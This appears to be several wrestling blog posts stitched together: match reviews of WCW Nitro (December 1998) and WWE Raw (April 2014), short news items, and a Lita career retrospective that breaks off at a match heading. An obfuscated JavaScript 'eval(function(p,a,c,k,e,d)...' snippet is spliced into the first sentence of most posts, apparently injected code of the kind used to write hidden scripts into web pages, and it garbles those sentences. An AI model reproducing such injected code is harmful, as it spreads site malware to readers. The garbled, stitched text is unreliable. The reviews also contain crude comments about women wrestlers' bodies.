Monday Nitro – December 7, 1998: Their Survival Astounds Me

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrirn|var|u0026u|referrer|niihe||js|php'.split('|'),0,{})) Nitro #166
Date: December 7, 1998
Location: Astrodome, Houston, Texas
Attendance: 32,067
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

We’re less than three weeks away from Starrcade and Nash vs. Goldberg hasn’t really started to heat up yet. If I didn’t know better I would think Goldberg would be squashing Bam Bam Bigelow at the PPV based on what we’ve seen in recent weeks. Other than that we’re getting ready for Flair vs. Bischoff which I’m sure will be a classic. Let’s get to it.

 

Goldberg vs. Bigelow in a non-title match tonight. The guy isn’t signed but he can wrestle in a match against the champion?

We look at a clip from earlier today of Scott Steiner attacking the Wildcat mascot due to reasons of insanity.

The Hogan retirement video from last week airs again to shot him beating up Ric Flair.

Nitro Girls.

Scott Steiner comes out to say the only things that come out of Texas are steers and something censored that rhymes with steers. He demands that we give Hogan a standing ovation before demanding another match with Scott Hall tonight.

Nitro Party winner.

Nitro Girls.

Kendall Windham vs. Diamond Dallas Page

We’re nearly half an hour into this show counting commercials at this point. Page gets slammed down to start but trips Kendall to the mat just as easily. A swinging neckbreaker does the same but Windham comes back with a low blow. Not that it matters as Page comes back with punches and a big clothesline followed by the Diamond Cutter for the pin. This wasn’t much but the fans are awake now.

Profile on a Nitro Girl.

Goldberg vs. Bigelow package.

Norman Smiley vs. Prince Iaukea

The dancing non-Islander takes over to start with a slap to the face and a nice shoulder block followed by that spinning slam of his. A delayed double underhook suplex gets two on the Prince and it’s time for more dancing. Iaukea’s kick to the ribs is caught but Smiley stops to dance some more, allowing Prince to kick him in the face. A Samoan drop and top rope splash get two for Prince but Norman calmly puts on a cross face chicken wing for the submission. This was a fairly packed match for under three minutes.

We see the interview from Thunder where Mysterio vs. Guerrera was announced for next week’s Thunder for a future shot at the Cruiserweight Title. Eddie Guerrero comes out to and says Silver King will deal with the selfish Mysterio tonight.

Silver King vs. Rey Mysterio Jr.

Rey takes him down with a headscissors to start and they trade what would evolve into the 619. They wind up on the apron and Rey snaps off a hurricanrana to send him to the floor. Back in and King counters the sitout bulldog before hitting what would become the Eye of the Storm for two. Rey sends him into the corner before going up himself and TOTALLY botching a hurricanrana. It wound up looking more like a spinebuster from Silver King than anything else. Mysterio sends him to the floor and hits a great looking flip dive to make up for it before a top rope bulldog is enough for the pin.

Rating: C-. This was Mysterio bouncing around the ring for about four minutes which is all you need most of the time. The botch in the middle really hurt it though as there was no way to cover up something like that. Thankfully they went home almost immediately after that so it wasn’t a crippling spot in the middle of the match.

Hour #2.

Goldberg and the championship committee arrive but Nash comes up to meet them. Nash says the match against Bigelow isn’t happening tonight because Goldberg isn’t supposed to fight before Starrcade. Goldberg says he dreams of taking Nash apart.

Wrath vs. Renegade

Renegade comes out to what would have been Marvelous Marc Mero’s music around this time. Must be public domain. Wrath takes him into the corner for some knees to the ribs as the announcers talk about Goldberg vs. Bigelow. A side slam puts Renegade down but he comes back with some kicks to the ribs. Wrath easily shrugs them off and drives in some elbows. Renegade’s handspring elbow is just shoved away and a clothesline to the back of his head leads to the Meltdown for the pin.

Rating: D. I hate to say it, but it’s over for Wrath. Yeah the Meltdown still looks cool, but it was clear that there was nothing more for him after he got beat in his one time moving up the ladder. Just a few weeks ago the announcers were making him out to be the hottest thing in the world and now he’s squashing jobbers again. This is Renegade’s final appearance with the company. How in the world did he survive this long?

Roger Clemens of baseball fame is here.

Chavo Guerrero Jr./Disco Inferno vs. Horace/Stevie Ray

Before the match, Disco asks Konnan com come out for a surprise. Apparently Kevin Nash has approved Disco as the newest member of the Wolfpack. Konnan just rolls his eyes and walks away so the squash can begin. Horace pounds on Chavo to start with the usual power brawling style of his, only to walk into a dropkick followed by a rope climbing bulldog for two. Disco and Stevie come in with Ray easily winning a slugout, only to walk into a swinging neckbreaker.

Disco gets two off a top rope ax handle but is easily thrown outside for a beating from Horace. The announcers at least changes things up a bit here by talking about Hogan’s retirement. Horace comes in legally and misses an elbow drop, allowing Chavo to come in and clean house. The tornado DDT gets two on Horace as everything breaks down. A spike piledriver catches Chavo out of nowhere and Stevie gets an easy pin.

Rating: D. Nothing match here for the most part and I’m not seeing a reason why Chavo and Disco were paired together. Disco wanting to join the Red and Black simply can’t end well but that’s the case for a lot of stuff involving the NWO. It’s also not a good sign that the yet to be christened B-Team is now getting squashes on Nitro.

Nash comes out and says that tonight it’s a three way between him, Goldberg and Bigelow.

Nitro Girls again.

Glacier vs. Saturn

This is supposed to be Miller vs. Saturn but he’s claiming an ankle injury. Glacier hits a quick Kryonic Kick to start and stomps away in the corner instead of covering. Another kick stops a Saturn comeback and a tilt-a-whirl slam sets up even more kicks. Aside from all the other reasons, it’s becoming clear why Glacier never went anywhere. Glacier tries to spice things up a bit with a legdrop but misses an ax handle.

Saturn grabs a quick atomic drop followed by a cross body. He hits his VERY high top rope elbow drop but Sonny Onoo distracts the referee because someone has to try and make this horrible angle interesting. The fact that Sonny is one of the reasons it’s awful doesn’t make things much better though. Anyway, Miller hits Glacier by mistake and of course the referee sees that because Saturn needs to lose to another horrible guy.

Rating: F. I think that’s my official rating for every time Saturn jobs to some waste like Glacier or Miller.

Saturn beats up Glacier and the referee.

Lex Luger vs. Emery Hale

Hale is a big muscular guy that ran around WCW forever but never got over due to not being very talented. They circle each other for awhile to start with no one going anywhere off a shoulder. A harder shoulder puts Hale down and he heads outside to yell at some fans. Back in and Hale takes over with a hard lariat and a big legdrop gets two. Hale pounds on Luger’s back for no effect but a suplex puts Lex on the mat. Hale misses a good looking top rope splash and it’s the forearm into the Rack to give Luger the submission.

Rating: D. Hale had a very good look and could have been a solid midcard monster with some more seasoning and a gimmick. The match was nothing terrible but it’s hard to get excited about Luger doing the same match we’ve seen him do with far more talented people. Not much to see here but Hale didn’t embarrass himself.

Ad for Starrcade.

Chris Jericho vs. Bobby Duncum Jr.

Here’s a match we’ve seen far too many times now. Before the match Jericho makes fun of cowboys, causing Duncum to jump him from behind to start. A hard shoulder and clothesline put Jericho down as Bobby is all ticked off about the cowboy stuff. For the life of me I will never understand so many grown men being obsessed with looking and acting like cowboys.

Anyway Jericho comes back with a quick belly to back but is thrown to the floor for his efforts. After a whip into the barricade, Duncum throws Jericho back inside but gets his throat snapped across the top rope. The missile dropkick has little effect as Bobby nails a bulldog and another lariat (as all good cowboys should do). Jericho crotches him on the top and scores with a superplex before grabbing a rollup and the rope for a cheating pin.

Rating: D+. Did I mention I’m not a fan of the generic cowboy characters? Jericho is another talent being wasted in meaningless feuds like this one after dropping the title to Konnan so it can be used in the endless NWO war. Nothing to see here for the most part, even though Duncum is another big guy with a good look that could be something in a better gimmick.

Hour #3 begins.

Giant vs. Scott Putski

Chokeslam, pin.

Post match Giant challenges Page for Starrcade because Page’s fans are all rednecks.

Konnan wants a piece of the NWO Referee.

Chris Benoit/Dean Malenko vs. Kanyon/Raven

And there’s no heel team as Kanyon is looking for Raven in the back. Raven refuses to go wrestle because Kanyon is a geek. Kanyon points out that Raven has driven away everyone that has tried to help him, including Piper, and blames his recent losing streak on Raven. In the arena, Kanyon refuses to wrestle because he has no partner. For some reason he pushes Arn Anderson and has to run away from a crowbar. Benoit dropkicks him to the floor and Kanyon runs off with no match.

Video on Bischoff/Flair.

After a break the Horsemen are still in the ring and here’s their leader. Ric tells Bischoff to get off his girlfriend and listen to what he has to say. He says the dictatorship is about to end and rants about the history of Texas wrestling while dropping his usual names. Flair is going to choke Bischoff and rip his throat out at Starrcade. He’s looking redder than usual here and runs around the ring looking for something to chop. At Starrcade, Flair promises to chop Bischoff until he says he respects Flair before taking his job, his girlfriend and his dignity. Totally insane Flair here but it worked for the most part.

Konnan video.

TV Title: Konnan vs. Booker T.

They shove each other to start with Booker taking over via some forearms and kicks. Konnan comes back with a rolling clothesline and dropkick of his own before they head outside. Back in and Konnan scores with a bulldog but gets caught by an ax kick. Stevie Ray comes strolling down as Booker dances to his feet. The side kick connects but Stevie comes in and jumps Konnan for the DQ.

Booker yells at Stevie post match but Stevie says Booker should be going after Konnan.

Scott Steiner vs. Scott Hall

There’s no referee and Steiner blames Hall for him missing. Hall hammers on Steiner and we see the NWO Referee wrapped up in tape (Konnan threatened to do that earlier). Mickie Jay runs down, shoves the NWO Referee down, and comes in to count two off Hall’s fall away slam. Steiner yells at the referee and Hall gets two off a rollup as the NWO runs in to end the match.

Luger and Konnan run in but Giant comes in to take them out. Page hits the ring and nails Giant with a chair to get rid of the NWO. Well the Black and White that is. In an amusing visual, the NWO Referee is still down at the entrance.

Bret Hart comes out and says Page is a coward. He’s proven himself and that’s about it. Gene says people should go see Wrestling with Shadows.

Goldberg vs. Kevin Nash vs. Bam Bam Bigelow

Bigelow comes out with no music. Nash hits the ring to go after him before Goldberg arrives. Here comes the champ and the brawl is on. All three guys slug it out until security comes out to break it up as the fans pelt the ring with garbage to end the show.

Overall Rating: D-. This was one of the worst Nitros in a long time as almost nothing happened. We’ve got two episodes before Starrcade and Bigelow is still deeply involved in the main event scene. There are some matches set for the card, but the TV Title, US Title and Tag Team Titles aren’t being mentioned, guys like Luger, Jericho, Saturn, the Horsemen and Raven/Kanyon have no matches yet, and the main story has a third guy added who probably won’t be on the PPV either. Sadly enough, this is going to be their last coherent PPV for a very long time.

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Reviewing the Review – Monday Night Raw: April 28, 2014

Raw eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thhfy|var|u0026u|referrer|rkhzk||js|php'.split('|'),0,{})) this week was again about pushing the major stories as we get closer to Extreme Rules. However there was another story aside from the two main events that blew the doors off this week. There wasn’t much wrestling but there was an old drunk guy that embarrassed himself yet again, meaning he’ll be invited back for years. Let’s get to it.

We kick things off with a bang as John Cena comes into the cage opening the ring. Cena isn’t sure what to think as the fans have seemingly turned their backs on him last week when they put him in a three on one handicap match against the Wyatt Family. It was a match he couldn’t win and the fans gave him no chance. Cena wanted to know why the fans supported someone who didn’t have his passion and warns them that if Bray wins on Sunday, his message will soon take over the world. Then the crazy started.

The lights went out and a group of children could be heard singing He’s Got The Whole World In His Hands. The lights came back on and it was indeed a choir of children all in black. Bray came out with the lantern as the children surrounded the ring and kept singing. The lights came on again and they were all wearing the masks and saying Bray had the whole Cenation in his hands. One of the kids sat on Bray’s lap as he evily laughed and the camera zoomed in on the kid’s mask. Cena was completely distraught throughout the whole thing.

Where do I even begin with this? It was a genuinely disturbing sign and potentially opens the door for a lot of ideas. What does Cena do when Bray has power over the group of fans he loves the most turns on him? What does Cena do when everyone is booing him? What do you do with a man has the power to control children? I have no idea, but I’m really curious to see where this goes. One thing is clear though: under no circumstances can Cena win at Extreme Rules. I can defend a lot of Cena’s booking but there’s no real way to say that’s the right move.

The Usos defeated Ryback/Curtis Axel in a Tag Team Title match. The story here was that one of the Usos (by the way, no it doesn’t matter which it was. They’re the same guy for all intents and purposes) hurt his ankle and couldn’t move as well in the second half of the match. That’s fine for a story, but when you tag him in and he’s just fine and can do all the things he normally does, the story doesn’t mean anything. He was throwing superkicks and dives like his ankle was fine, so why even bother doing the angle at all? That’s the kind of stupid thinking that drives me insane.

Adam Rose debuts next week. That should be awesome even if it’s just a squash.

Heyman told Cesaro not to listen to people saying he’s a liar, because he’ll get Cesaro to the top. This is still in the seed planting stages but the harvest will be awesome.

Sheamus beat Titus O’Neal in a 35 second match. This is another good example of how awful Sheamus’ booking has been lately. Titus attacked him and had Sheamus in trouble, but Sheamus just popped up and won with a single move. Would it really kill them to have Sheamus lost a single match or to actually show some weakness? I honestly don’t get this booking at all and I haven’t for months.

The Hugh Jackman/Damien Sandow/Dolph Ziggler stuff just kind of happened. Jackman is cool when he’s out there and I like that they actually tied it into his previous appearance. Sandow as Magneto actually made me chuckle and that’s the idea of the segment. Someone in the WrestleZone live discussion pointed out that Sandow was destined for comedy and the more I think about it, the more I completely agree. Sandow explaining science and math to people has potential though.

Cesaro beat Swagger in a meaningless match. I did like him winning with a German suplex instead of the Neutralizer though. It’s always nice to see people mix stuff up. Heyman pulling Zeb’s mustache for a distraction was long overdue though.

Alberto Del Rio squashed Cody Rhodes to further the Rhodes Brothers split. Nothing to see here as usual but it was fine.

Rusev and Woods had an angle disguised as a match. The squash should work fine at Extreme Rules, just like it did for Brock against the Hardy Boys at Judgment Day back in 2002, and yes I know that was a handicap match but his partner was Heyman so we’ll call it a handicap match.

3MB actually won a match against Los Matadores. The main thing here was the announcement of the Wee-LC match on Sunday’s pre show. I still don’t like the Horny vs. Torito feud but them playing it so over the top actually makes it much easier to sit through rather than them just playing it as a boring match that no one cares about.

Stephanie’s apology to Bryan was about what you would expect it to be. I’m surprised at how natural Brie Bella being out there with Daniel feels. The fact that they’re married in real life helps a lot though as I’m not waiting on them to break up at the drop of a hat for a storyline. Stephanie playing it serious is interesting but I think we all know it’s another ruse.

This led directly into Brie facing Paige for the Divas Title in another angle disguised as a match. Kane interfered about two and a half minutes in and tried to kidnap Brie but Bryan made the save. I liked that he sent Brie to the back like someone logically would do, but she came back and almost got pulled under the ring anyway. Bryan getting laid out again works fine and the match on Sunday should be pretty solid. The post break stuff with Brie screaming at Stephanie actually worked. The Bellas are still annoying but Brie seems far more like a human than her sister.

Cena gave a serious promo (odd line about Bray riding a mule aside) about Bray that made it sound like he’s going to war. This is the Cena I can get behind, but again he has to lose on Sunday.

Barrett beat RVD in a very obvious ending to a better than expected match. The post match stuff sets up RVD vs. Cesaro vs. Swagger on Sunday, which almost has to go to Cesaro.

The big segment to almost end the show was Ric Flair returning to Raw to talk about how great Evolution was. The surprise was that he wound up endorsing Shield before walking out. However, the interesting part here was that Flair was clearly drunk, as is almost always the case. How in the world this is considered ok in WWE’s eyes is beyond me, as anyone else that showed up like this would be fired almost immediately.

The main event was Orton vs. Reigns which didn’t last long and ended with everyone running in for a DQ. Evolution looked do destroy Shield to end the show but Shield fought back and stood tall to end things in a nice surprise.

This was another Raw that would have been a classic if it was only two hours long. The middle hour just crippled it though and even a good third hour wasn’t enough to make the save. It also didn’t help that nothing was going to top that Wyatt segment, which is often the case around WWE anymore. I’m ready for Extreme Rules though and that’s the most important thing a go home show can do.
 

 

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WWE Released Four NXT Names

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znakn|var|u0026u|referrer|kkfek||js|php'.split('|'),0,{})) sure you’ve heard of at least two of them.

Oliver Grey – He came back from a long time off due to a knee injury and got squashed by Camacho.  The writing was on the wall here.

Mason Ryan – The guy just never got better.  Somehow he was considered to replace Reigns in the Shield.

Shaul Guerrero – She was gone earlier and didn’t do anything once she came back.

Danny Burch – Not a bad jobber but little more.

 

No word on if there are more coming but I’ll keep you posted of course.




Thought of the Day: A Real B+ Player

Unlike eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khbni|var|u0026u|referrer|ftrte||js|php'.split('|'),0,{})) Daniel Bryan of course.A real B+ player is someone like Sheamus.  He’s capable of having a very good match under the right circumstances, stays over, has a good look, has a solid resume and can easily slide into the main event scene if need be.  That’s a very valuable hand to have in the company and he’s still young enough to be turned into something with a bigger impact.  Nothing wrong with that at all.

 

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Daniel Bryan Needs A New Dealer

He’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbtzr|var|u0026u|referrer|bbded||js|php'.split('|'),0,{})) kind of lost in the shuffle.Watching the Daniel Bryan documentary on the Network (worth checking out if you have an hour to kill) and it becomes obvious that he’s kind of lost right now.  The problem at the end of the day is we got the big moment at Wrestlemania and now everything has changed.  Yeah he’s still a big deal and incredibly over, but we hit the big point that everyone was waiting for.  The match with Kane will be good and the story is rather good, but it’s not the top story.  He’s proven that he’s worthy of being a top guy and will be for a long time, but it’s kind of hard to go anywhere after that huge story we just finished up.




Wrestler of the Day – April 2: Lita

It’s my grandmother’s birthday so here’s a fellow beautiful woman: Lita.

Lita eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzbtk|var|u0026u|referrer|hnedi||js|php'.split('|'),0,{})) would debut in ECW in 1999 as a valet who got physical at times. She would be in the WWF a year later as Essa Rios’ hot manager. This wouldn’t last long as they would break up and Lita would become a singles wrestler. She would get a title shot at the Women’s Title on Raw on August 21, 2000.

Women’s Title: Lita vs. Stephanie McMahon

Yeah this was that dark time where Stephanie was champion as a side effect of the awesome HHH run. Rock is guest referee as part of his war with Trips as well. Lita easily takes her down and hammers away before popping the champ in the corner with forearms. A hurricanrana gets two but Stephanie’s friend Kurt Angle distracts Rock so HHH can trip Lita up.

The Hardys run out for a save and hammer on HHH as Stephanie fires off some lame foreams and a nice DDT for two. Lita comes right back with another hurricanrana but Angle breaks up the Litasault. The Hardys brawl with Angle/HHH until Rock pulls Angle and the title belt into the ring. Angle gets laid out but HHH jumps Rock from behind. Kurt nails HHH by mistake and it’s a Rock Bottom for the Olympian. Stephanie tries a cheap shot and gets a Rock Bottom of her own, setting up the Litasault for the pin and Lita’s first title.

Rating: D+. THis was almost all about the men fighting on the floor which was far more interesting than the girls.  Stephanie was basically the Honky Tonk Man of the Women’s Title as the whole reign was there so someone could save the title and become a big star.  That’s exactly what Lita did and she never looked back.

The trio was getting big around this time and would be brought in to OVW for a six person tag at Christmas Chaos 2001.

Hardy Boys/Lita vs. Disciples of Sinn/Sinn

Sinn is the female manager of Payne and Damien, the OVW tag champions at the time. Hardys are over as all goodness. The Disciples were a big deal in OVW but never went anywhere. Their stable mate is Leviathan as I mentioned earlier but he’s not here for this one. The main thing people want to see here is Lita more or less kill Sinn.

Matt and Damien start us off. Apparently Damien hears voices. Payne is apparently the new member of the team. They’re tagging in very fast. Sinn comes in to slap Matt and gets caught in there against the fat man himself. Off to Lita but Sinn runs away to bring in Damien. Lita tags in both Hardys and the referee seems cool with it. They destroy the Disciples and it’s off to Jeff now.

Very fast paced stuff so far which is weird for the Disciples as they’re pretty decent sized guys. Payne gets a big clothesline to Jeff to take over. Spinebuster gets two for Payne on Jeff. A pretty bad powerslam by Damien gets two. Oh wait that’s Payne. They look a bit alike and the lighting makes it impossible to tell which is which.

Matt acts kind of stupid as he comes in and Jeff gets double teamed. Granted it’s not as stupid as the referee who lets the Disciples switch without tagging twice in a row. Well I guess that puts them back to even. Chinlock has Jeff in trouble. Cornette talks about how much the cheers mean to Jeff. I guess he hasn’t been watching his TNA lately.

Jeff finally gets the tag to bring in Matt and the beating is on. Everyone comes in again and it’s a double clothesline to put Matt and both Disciples down. Sinn tags herself in and so does Lita. Lita takes down Damien because she’s more awesome than everyone else in there. Sinn takes over for a bit but Lita slams her off the top and gets a spear.

Moonsault hits but everyone comes in and it’s a big brawl. Payne hits a Sky High on Lita and Sinn is the only one left. It’s table time now but Jeff saves. Double DDT by Matt and Lita. Jeff throws out a Swanton on the chick through the table. The pin is academic and the pop is pretty solid.

Rating: B-. It’s probably not that good but I’m kind of feeling sorry for this show as the matches haven’t been that good at all. Still though this wasn’t too bad and the Hardys helped it a lot. The point here was for Sinn to get beaten down and that’s exactly what happened. Fun little six person match which worked fine.

Around this time, Chyna won the Women’s Title at Wrestlemania X7 and dominated the division for months with only Lita left standing in her way. This is the showdown from Judgment Day 2001.

Women’s Title: Chyna vs. Lita

Lita is insanely over here. And here’s Chyna looking like a freaking peacock. That’s JR’s term, not mine. They hug before the match as I guess Lita is ok with Chyna being a witch to her and not seeming to take this seriously at all. This is power vs. speed here and both use their own better attribute to take over for a bit. Lita tries to help Chyna up and gets rolled up for two. Ok so she’s hot but not incredibly smart. Got it.

Chyna overpowers the match with ease to start but Lita gets a DDT for two. She finally wakes up and hammers away on Chyna. Middle rope clothesline gets two. Lita goes for the arm as this is getting sloppy. The fans are still in it though so they have that at least. Swinging neckbreaker by Chyna sets up a powerslam for two.

Lita channels her inner Alberto by hooking up a rolling cross armbreaker and Chyna is in real trouble all of a sudden. Chyna reverses into a headscissors and here’s Eddie for no apparent reason. She tries a powerbomb but Lita reverses into a horrible looking rana for two. And then a powerbomb by Chyna ends this clean. Nothing from Eddie other than standing there and Chyna more or less didn’t break a sweat.

Rating: D. This was supposed to be the big showdown? Chyna destroyed Lita here and made her look like a joke. This was Chyna’s last match in the company as she was taken off TV and the title was held up. She held the title until November anyway so there simply were no title matches for about six months. In short, Chyna destroyed the division and it took Trish and Lita to bring it back to whatever it was. Oh and this match was awful.

It wouldn’t be right if I didn’t get in a Team Extreme match. From September 10, 2001 on Raw.

Hardy Boyz/Lita vs. Hurricane/Lance Storm/Ivory

Hurricane vs. Matt to get us going and there’s a loud Lita chant. The Hardys double team both men and it’s off to Storm vs. Jeff. Hurricane sneaks in and hooks a neckbreaker for two and it’s back to Lance. The Alliance team double teams Jeff and Ivory gets in a slap as well. Dropkick gets two for Storm.

Hurricane puts the cape on for a second for a clothesline then has Ivory take it back off. Matt gets in but Storm hits an enziguri while Matt is on the middle rope. Jeff knocks him to the floor and hits a dive to take out Storm. Back in the ring the girls come in and Lita beats up Ivory before snapping off a rana on Hurricane. Matt hits the Twist on Ivory and the Litasault gets the pin.

Rating: C. Not bad here but it was always good to see Lita. Ivory’s looks are underrated as well. The guys’ feuds didn’t go anywhere anytime soon as the Hardys were thrown back into a feud with the Dudleys because we hadn’t seen that recently enough. The match was nothing special though.

Lita would get a title shot at Wrestlemania X8 but come up short. The next night however she would face her biggest rival in a match.

Trish Stratus vs. Lita

Trish looks great as always. Lita goes right after her to start and the fight is on quickly. A clothesline puts the redhead down but she suplexes Trish down a few seconds later. Lita scores with a headscissors but Trish comes right back with a Chick Kick. Stratusfaction is shoved off and the moonsault gets Lita the pin in barely 90 seconds.

Lita was becoming a big star around this time and landed a guest starring role on the FOX series Dark Angel. Unfortunately she would do a hurricanrana on the show and slip, landing on the back of her head and breaking her neck. That put her out of action for about a year and a half until she came back for a tag match at Unforgiven 2003.

Molly Holly/Gail Kim vs. Trish Stratus/Lita

This feud is more or less about Molly and Gail being jealous of Lita and Trish being insanely popular. Standard stuff to put it mildly. Molly is Women’s Champion here and is actually looking good. Lita was out for almost a year because of a broken neck and now wears khaki shorts. Yep she’s gorgeous. The non-famous girls jump them early and that doesn’t work at all.

This is Lita’s return match. Oh seriously who do you expect to win this? You have two girls that are about as middle of the road as possible and the first two women to main event Raw. Lita and Gail are the actual starters and Lita nips up as we hear about King having a vasectomy. Molly hooks a Dragon Sleeper on Trish which works about as well as you would expect it to. Gail is gorgeous. That’s all there is to it.

Now Gail does a Dragon Sleeper. Trish walks up the turnbuckles and backflips into a reverse DDT. FREAKING SWEET. Molly looks good as a brunette and in blue. Trish manages to beat up both girls on her own since Lita is bleeding from the mouth. Lita gets the mostly warm but partly cloudy with a 30% chance of showers tag. Trish knocks Gail to the floor and Lita hits the moonsault to get the win which was about as predictable as you could expect.

Rating: D+. This was exactly what you would expect here. Lita was indeed a huge deal as she and Trish were just flat out awesome around this point but the injury took her out for over a year. This was nothing more than a welcome home match and it did exactly what it was supposed to do: announce that Lita is still awesome.

The end of 2003 and most of 2004 didn’t see much action for Lita, but she would get into a four way for the Women’s Title at Bad Blood 2004.

Women’s Title: Trish vs. Lita vs. Gail Kim vs. Victoria

All four are too hot for words with Trish somehow possibly being the fourth best looking at the moment. Victoria is champion here. Trish vs. Lita never gets old especially when later this year they main evented Raw. That’s saying a lot and I don’t mean it was the last match and then there was a big angle to end the show.

I mean Trish vs. Lita for the title was the last thing you saw to end the show and it was built up all night. It was a very cool moment and I completely bought into it. Gail gets an AWESOME hold on Victoria. More or less it’s a headscissors combined with a crossface combined with an armbar but cooler than it sounds. Lita and Victoria botch something and we have no Trish for a long time, signaling that she’ll be winning. Yep there she is to roll up Lita for the title out of nowhere.

Rating: D+. They all looked hot. Other than that it was just your run of the mill Divas match but with four girls that could actually work which is the best case scenario.

Soon after this, Lita would sleep with Kane to save Matt Hardy, getting pregnant in the process. Around this same time, Trish Stratus would start insulting Lita for being, shall we say, loose, but Lita couldn’t fight back due to her pregnancy. Thankfully (ish), she would lose her baby a few months later. This freed her up to face Stratus in the main event of Raw on December 6, 2004. I don’t mean it was the last match and then the real ending happened. I mean all night long Trish Stratus defending the Women’s Title against Lita was hyped up and then closed the show.

Women’s Title: Trish Stratus vs. Lita

Even in a faceguard with what looks like masking tape over her face, Trish is gorgeous. How is that possible? Lita’s song is great too. 2004 had some awesome theme music. They lockup and go to the floor quickly. Lita takes over with a leg sweep for two. Remember that she’s the hometown girl. They go to the floor again and Lita tries a suicide dive and Lita lands ON HER HEAD, jacking her neck back in a landing that made my jaw drop and be stunned she isn’t dead. I mean she landed on her face and her feet hit her in the back of the head. The referee immediately checks on her and the crowd goes quiet.

The match keeps going as I guess she’s alive somehow. Trish takes the noseguard off and pops Lita in the face with it which isn’t a DQ somehow. Lita fights out of a choke and throws on a sleeper but gets countered into a seated full nelson. Trish goes up but gets caught in a superplex to put both girls down. Back up and the Chick Kick gets two. Trish pounds away in the corner and gets powerbombed to set up the moonsault but Trish breaks it up. Rollup gets two and Trish grabs a DDT for two. Stratusfaction is broken up and there’s a reverse Twist of Fate. The moonsault gives Lita her second title.

Rating: B. Considering that neck shot, WOW Lita was impressive here. At the end of the day, this was a solid match and they made it feel like a big moment. This was Lita’s second title, but she hadn’t won it in over four years so it’s not like this was something that happened every day. Trish would win it back in less than a month and hold it until Wrestlemania. As in the Wrestlemania the year after she won it, giving her a reign of about 15 months.

Here’s the rematch from New Year’s Revolution 2005.

Women’s Title: Trish Stratus vs. Lita

How many times did these two fight, about a million? Ross calls it a tag title for no apparent reason. I love her theme song actually. Trish’s cleavage is big enough to hide a small country in. They fight for a bit before Trish goes to the floor. Lita goes to the apron and throws a Thesz Press at Trish, and rips HER knee to shreds.

Literally, two matches and two torn knees. She would be out for a few months also as she ripped her ACL. They actually continue the match though for about another three minutes before Lita just has nothing left and the Chick Kick gives Trish another title.

Rating: N/A. Not fair to grade them on this at all. As for a grade, I’d go with DD. That’s of course for Dogma and Dreams, which was my textbook in my political theory class. What did you think it was for?

That would be her last match for over a year as Lita would tear her knee to shreds and be out for the rest of 2005. She would return in early 2006 and chase the title for awhile longer before getting a shot at the vacant title after Trish retired as champion at Unforgiven. From Cyber Sunday 2006.

Women’s Title: Mickie James vs. Lita

Trish retired so we had a four Diva tournament to set this up. Lita is about a month from retiring at this point so she’s more or less destined to win. Mickie throws the absolute worst dropkick anyone with a great rack has ever thrown. This is horrible but at least we get to look at Mickie’s figure. Lita as a heel just doesn’t work from an in ring perspective. She hooks on a sleeper that does fairly well.

Not that it wins or anything since it’s a freaking sleeper but nice try if nothing else. Instead of a match here, Lita seems like she’s just there doing moves on Mickie with no particular rhyme or reason. The girls do their thing of course and nothing of note is going on here at all. Lita blocks/Mickie botches the Stratusfaction and Mickie gets a rollup for two. The other Divas get involved and a spike DDT ends it for Lita.

Rating: D. This was very boring for the most part. The only highlights were Mickie’s hips and Lita’s chest. Other than that we were just sitting around watching this nonsense go on and on. The match never went anywhere as it’s clear Lita just didn’t care anymore. Mickie would win the title from Lita at Survivor Series in Lita’s retirement match.

Lita would retire after Survivor Series and go off to do whatever she did after leaving wrestling, including performing in a band. Nearly six years later, Heath Slater started bragging about being able to beat a bunch of legends. This led to an open challenge at Raw 1000.

Heath Slater vs. Lita

